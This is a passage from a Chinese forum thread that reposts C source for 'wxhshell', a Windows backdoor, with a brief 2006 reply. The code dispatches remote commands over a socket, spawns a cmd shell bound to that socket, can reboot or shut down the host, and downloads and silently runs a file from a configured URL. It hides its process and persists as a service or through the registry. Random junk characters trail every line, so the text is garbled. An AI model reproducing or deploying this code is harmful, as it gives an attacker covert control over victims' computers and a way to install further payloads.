  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ug.|ag'R  
  else | P`b"x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }Xfg~ %6  
  } ay|jq "a  
  else { !&:Cp_  
~`="tzr:  
    switch(cmd[0]) { ;K~=? k  
  }zxf~4 1  
  // 帮助 h(R7y@mp\0  
  case '?': { V'tR \b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Zb2PFwcy  
    break; % 8wBZ~1-  
  } $-u c#57  
  // 安装 %|ClYr  
  case 'i': { 'HJ+)[0X*  
    if(Install()) v 2 p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p(nO~I2E  
    else K^o{lyK;@~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (EvYrm4  
    break; bI|{TKKN&P  
    } *JfGGI_E  
  // 卸载 J9OL>!J  
  case 'r': { QAt]sat  
    if(Uninstall()) ?3a=u<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V)`A,7X  
    else P{ 9wJ<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,|A6l?iV  
    break; W -HOl!)  
    } }EYmz/nN  
  // 显示 wxhshell 所在路径 ITg:OOQ  
  case 'p': { ,A $IFE  
    char svExeFile[MAX_PATH]; (F 9P1Iq  
    strcpy(svExeFile,"\n\r"); rsa_)iBC  
      strcat(svExeFile,ExeFile); /W`CqJk-*.  
        send(wsh,svExeFile,strlen(svExeFile),0); _KKux3a  
    break; F(zCvT   
    } ju3@F8AI  
  // 重启 o5 ~VT!'[  
  case 'b': { w=<E)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bq) 1'beW  
    if(Boot(REBOOT)) S7WHOr9XMV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (n8?+GCa  
    else { )">#bu$  
    closesocket(wsh); Q)BSngW+  
    ExitThread(0); bcjh3WP  
    } YFPse.2$a  
    break; Dt>tTU 6  
    } 65JG#^)KaX  
  // 关机 tu"-]^  
  case 'd': { 1*G&ZI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f0Q! lMv  
    if(Boot(SHUTDOWN)) U, 7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jnbR}a=fJ  
    else { &bfM`h'  
    closesocket(wsh); qo 7<g*kf~  
    ExitThread(0); Mpyza%zj  
    } `?.6}*4@_A  
    break; yUD@oOVC0  
    } 5._QI/d)'J  
  // 获取shell 7O k-T10  
  case 's': { P^=B6>e  
    CmdShell(wsh); 0^Vw^]w  
    closesocket(wsh); $[ S 33Q  
    ExitThread(0); /3k[3  
    break; m1j Eky(  
  } 7Hv 6>z#m  
  // 退出 =,q/FY:  
  case 'x': { [%R?^*]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t#_6GL  
    CloseIt(wsh); f4*(rX  
    break; @(oY.PeS<z  
    } Q:7P /  
  // 离开 j^8HTa0Cy|  
  case 'q': { -zMvpe-am&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N0}[&rE 8  
    closesocket(wsh); VyN F)$'T  
    WSACleanup(); }Hg\ tj}i  
    exit(1); Ye4 &4t  
    break; tDah@_  
        } `>g\gaQ  
  } 3BGcDyYE  
  } #:yAi_Ct  
N#jUqm  
  // 提示信息 COm^ ti-p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M,p0wsj;  
} #y7MB6-  
  } rA8NE>  
-c1-vGW/  
  return; qGR1$\]  
} m*HUT V  
sx;/xIU|  
// shell模块句柄 UtJfO`m9P  
int CmdShell(SOCKET sock) k~:(.)Nr  
{ e 2N F.  
STARTUPINFO si; /6[vF)&  
ZeroMemory(&si,sizeof(si)); +h/OQ]`/m  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ksh[I,+N\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; tj0 0xYY  
PROCESS_INFORMATION ProcessInfo; S{bp'9]$y  
char cmdline[]="cmd"; ;Ccp1a~+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G7,v:dlK   
  return 0; 7b-[# g  
} YqXN|&  
}j1;0kb?  
// 自身启动模式 4IB`7QJq  
int StartFromService(void) 9 ;vES^  
{ i$3#/*Y7_L  
typedef struct jqj}j2 9  
{ }*%=C!m4R!  
  DWORD ExitStatus; +/%4E %  
  DWORD PebBaseAddress; Pq35w#`!  
  DWORD AffinityMask; MFO%F) 5  
  DWORD BasePriority; ;,TT!vea  
  ULONG UniqueProcessId; --TH6j"  
  ULONG InheritedFromUniqueProcessId; jt323hHth  
}   PROCESS_BASIC_INFORMATION; fM:bXR2Y'  
kO^  
PROCNTQSIP NtQueryInformationProcess; 2,B^OZmw  
pX>wMc+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ekrpg^3qp"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W^ask[46R  
1 YtY=  
  HANDLE             hProcess; -V@ST9`  
  PROCESS_BASIC_INFORMATION pbi; ^i WGGnGS  
5oYeUy>N  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X2| Z!  
  if(NULL == hInst ) return 0; hHcevSr  
~e,K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `Has3AX8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1 rbc}e  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HlkjyD8  
_f "I%QTL  
  if (!NtQueryInformationProcess) return 0; *"F*6+}w"  
R*W1<W%q=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wV$V X  
  if(!hProcess) return 0; P&5vVA6K7  
#q0xlF@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #\Q)7pgi.  
W0U|XX!&  
  CloseHandle(hProcess); p((.(fx  
P??pWzb6HH  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?H!&4o  
if(hProcess==NULL) return 0; n Zx^ej\  
T?u*ey~Tv  
HMODULE hMod; /Z#AHfKF  
char procName[255]; 93w$ck},?G  
unsigned long cbNeeded; e*Nm[*@UW  
MfLus40;n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^( C,LVP<  
EOqV5$+  
  CloseHandle(hProcess); ji ,`?  
>2mY%  
if(strstr(procName,"services")) return 1; // 以服务启动 aOoWB^;6  
[czWUD  
  return 0; // 注册表启动 :t+Lu H g  
} 5HvYy *B/  
Xe/7rhov  
// 主模块 95D(0qv  
int StartWxhshell(LPSTR lpCmdLine) x5U;i  
{ ,(c'h:@M  
  SOCKET wsl; l~kxK.Ru  
BOOL val=TRUE; ^MT20pL  
  int port=0; Dn~t_n  
  struct sockaddr_in door; &|zV Wl  
"6?Y$y/wm  
  if(wscfg.ws_autoins) Install(); rHjR 4q  
G jrN1+9=  
port=atoi(lpCmdLine); ?f:\&+.&  
j=>WWlZ  
if(port<=0) port=wscfg.ws_port; e<Oz%  
V-i:t,*lk(  
  WSADATA data; Hpp;dG  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?0s&Kz4B  
SnO,-Rg  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Qej<(:J5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J/vcP  
  door.sin_family = AF_INET; EJaO"9 (  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Gn10)Uf8X  
  door.sin_port = htons(port); jJ_6_8#  
SS,'mv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { c/3]M>+M  
closesocket(wsl); @(tuE  
return 1; <("P5@cExU  
} e7U9"pk  
?nR$>a`  
  if(listen(wsl,2) == INVALID_SOCKET) { }T=\hM  
closesocket(wsl); hJJo+NNN  
return 1; (jE[W:  
} \ $9n `  
  Wxhshell(wsl); hJ V*  
  WSACleanup(); <jVk}gi)Jp  
P'Jb')m  
return 0; G&0JK ,Y  
< *{(>  
} 0j 'k%R[l  
N_.`5I;e  
// 以NT服务方式启动 (W`=`]!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |qibO \_  
{ -32.g \]  
DWORD   status = 0; +G!;:o  
  DWORD   specificError = 0xfffffff; A)^A2xZQ  
_Q\u-VN*hv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ><;.vP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QlxlT$o}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w{ x=e  
  serviceStatus.dwWin32ExitCode     = 0;  YwB\kN  
  serviceStatus.dwServiceSpecificExitCode = 0; t4iV[xl3F  
  serviceStatus.dwCheckPoint       = 0; j7Lw( AJ  
  serviceStatus.dwWaitHint       = 0; lG X_5R  
v[?eL0Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *_yp]z"  
  if (hServiceStatusHandle==0) return; s8kkf5bu  
z*:.maq  
status = GetLastError(); Bk1gE((  
  if (status!=NO_ERROR) %5bN@XD  
{ HmEU;UbO-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |<7nf75c}  
    serviceStatus.dwCheckPoint       = 0; \6Hu&WHy  
    serviceStatus.dwWaitHint       = 0; 4\8k~ #  
    serviceStatus.dwWin32ExitCode     = status; -Ar 3>d  
    serviceStatus.dwServiceSpecificExitCode = specificError; K<Y-/t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7R om#Kl:  
    return; Le c%kC  
  } }EHmVPe  
DfP vi1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; + f?xVW<h  
  serviceStatus.dwCheckPoint       = 0; 3gmu-t v  
  serviceStatus.dwWaitHint       = 0; ps?B;P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .gHL(*1P  
} ;0\  
j2{ '!  
// 处理NT服务事件,比如:启动、停止 v~HfA)#JK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -U_<:  
{ YJrZ  
switch(fdwControl) t) ~v5vr  
{ E|^~R}z)  
case SERVICE_CONTROL_STOP: 1 Xu^pc  
  serviceStatus.dwWin32ExitCode = 0; %(wa~:m+S-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s|&2QG0'7  
  serviceStatus.dwCheckPoint   = 0; mh`VZQ@  
  serviceStatus.dwWaitHint     = 0; v~>4c<eG  
  { &+t,fwlM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }u..m$h  
  } 3&JsYQu  
  return; K29KS)~;W  
case SERVICE_CONTROL_PAUSE: X'>]z'0W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7:T 5P  
  break; BI6o@d;=4  
case SERVICE_CONTROL_CONTINUE: =Wk!mGc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u7<s_M3%N  
  break; A@"CrVE  
case SERVICE_CONTROL_INTERROGATE: pfvNVu  
  break; /F 1mYq~  
}; wXsA-H/`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QFf lx  
} f8 M=P.jz  
l*yJU3PW  
// 标准应用程序主函数 L$FLQyDR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N5[fw z w  
{ } Pc6_#  
&wZ:$lK#o  
// 获取操作系统版本 XA:v:JFS  
OsIsNt=GetOsVer(); fXYg %  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Hv1d4U"qM  
Mzxy'U V  
  // 从命令行安装 X/nb7_M  
  if(strpbrk(lpCmdLine,"iI")) Install(); m:~s6c6H  
Em R#)c~(W  
  // 下载执行文件 `+QrgtcEy4  
if(wscfg.ws_downexe) { q-}J0vu\K  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hQgi--Msw'  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,*V{g pC7  
} !g~xn2m$R  
~z!U/QR2  
if(!OsIsNt) { N LC}XL  
// 如果时win9x,隐藏进程并且设置为注册表启动 Aj4i}pT  
HideProc(); &`63"^y  
StartWxhshell(lpCmdLine); A_@#V)D2  
} . \fzK  
else p]#%e0  
  if(StartFromService()) /\_ s  
  // 以服务方式启动 fF8g3|p:  
  StartServiceCtrlDispatcher(DispatchTable); :U<`iJwY  
else 4jrY3gyBX  
  // 普通方式启动 ,.f GZ4  
  StartWxhshell(lpCmdLine); ]ba O{pJi  
u<\/T&S  
return 0; #x&1kHu<  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五